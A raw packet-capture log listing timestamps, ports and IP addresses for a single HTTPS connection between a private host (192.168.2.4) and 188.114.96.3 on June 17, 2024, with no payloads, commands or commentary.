Jun 17, 2024 16:18:55.301995993 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.302036047 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.302043915 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.302064896 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.302083015 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.302124977 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.302144051 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.302169085 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.302175045 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.302197933 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.302213907 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.302313089 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.302333117 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.302361012 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.302367926 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.302390099 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.302407026 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.302618980 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.302642107 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.302654982 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.302689075 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.302695036 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.302706957 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.302728891 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.302860975 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.302884102 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.302911997 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.302917957 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.302947044 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.302959919 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.303086996 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.303106070 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.303128004 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.303150892 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.303158045 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.303216934 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.303266048 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.303288937 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.303313017 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.303318977 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.303340912 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.303360939 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.303653955 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.303679943 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.303704977 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.303711891 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.303746939 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.303812981 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.303836107 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.303860903 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.303867102 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.303884983 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.303900003 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.303906918 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.303919077 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.303945065 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.303956985 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.303963900 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.303996086 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.304016113 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.304018974 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.304030895 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.304052114 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.304079056 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.304085970 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.304109097 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.304124117 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.304156065 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.304176092 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.304204941 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.304210901 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.304238081 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.304253101 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.304451942 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.304472923 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.304512024 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.304519892 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.304542065 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.304544926 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.304570913 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.304574013 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.304585934 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.304605007 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.304630041 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.304805040 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.304826021 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.304883957 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.304891109 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.304913044 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.304920912 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.304980040 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305002928 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305042028 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.305049896 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305063009 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.305092096 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.305176973 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305196047 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305243015 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.305249929 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305259943 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.305263042 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305289030 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305293083 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.305304050 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305324078 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.305361986 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.305372953 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305391073 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305423021 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.305430889 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305457115 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.305475950 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.305604935 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305624962 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305627108 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.305654049 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.305660009 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305685997 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.305715084 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305740118 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305744886 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.305752993 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305800915 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.305824041 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.305891991 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305918932 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305947065 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.305954933 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.305979967 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.305994987 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.306005001 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.306030035 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.306056976 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.306062937 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.306122065 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.306303024 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.306329012 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.306334972 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.306354046 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.306359053 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.306386948 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.306392908 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.306420088 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.306441069 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.306447983 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.306456089 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.306466103 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.306488037 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.306524992 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.306531906 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.306541920 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.306566000 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.306576967 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.306591034 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.306596994 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.306628942 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.306662083 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.306775093 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.306794882 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.306829929 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.306837082 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.306849957 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.306860924 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.306881905 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.306888103 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.306900978 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.306924105 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.306955099 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.307146072 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.307164907 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.307198048 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.307204962 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.307234049 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.307234049 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.307290077 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.307313919 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.307343006 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.307349920 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.307383060 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.307391882 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.307409048 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.307409048 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.307431936 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.307439089 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.307473898 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.307542086 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.307563066 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.307593107 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.307600021 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.307617903 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.307632923 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.307755947 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.307779074 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.307811022 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.307817936 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.307843924 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.307859898 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.307910919 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.307939053 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.307964087 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.307971001 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.307996988 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.308012009 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.308033943 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.308053970 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.308101892 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.308109045 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.308130980 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.308150053 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.308274031 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.308295012 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.308330059 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.308336020 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.308357954 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.308377981 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.308456898 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.308475971 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.308521986 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.308528900 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.308537960 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.308624983 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.308630943 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.308641911 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.308665991 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.308677912 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.308685064 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.308712959 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.308731079 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.308767080 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.308788061 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.308846951 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.308854103 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.308896065 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.308990002 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.309012890 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.309042931 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.309048891 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.309073925 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.309091091 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.309307098 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.309331894 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.309362888 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.309370041 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.309392929 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.309407949 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.309484959 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.309510946 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.309535980 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.309542894 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.309568882 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.309588909 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.309701920 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.309726000 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.309756994 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.309763908 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.309788942 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.309808016 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.309824944 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.309854984 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.309881926 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.309887886 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.309915066 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.309927940 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.309953928 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.309976101 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.310009956 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.310017109 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.310046911 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.310061932 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.310142994 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.310162067 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.310190916 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.310199022 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.310225010 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.310246944 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.310283899 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.310313940 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.310338974 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.310345888 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.310372114 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.310384035 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.310538054 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.310558081 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.310587883 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.310595036 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.310619116 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.310631990 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.310736895 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.310760975 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.310785055 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.310791016 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.310816050 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.310832024 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.310836077 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.310848951 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.310873032 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.310880899 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.310909986 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.310914993 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.310939074 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.310965061 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.311012030 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.311036110 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.311063051 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.311069012 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.311095953 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.311109066 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.311110020 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.311122894 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.311148882 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.311162949 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.311170101 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.311194897 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.311206102 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.311321974 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.311342001 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.311371088 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.311377048 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.311403990 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.311423063 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.311559916 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.311580896 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.311614037 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.311619997 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.311655045 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.311674118 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.311772108 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.311793089 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.311821938 CEST	49733	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:55.311829090 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.311851978 CEST	443	49733	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:55.311855078 CEST	49733	443	192.168.2.4	188.114.96.3
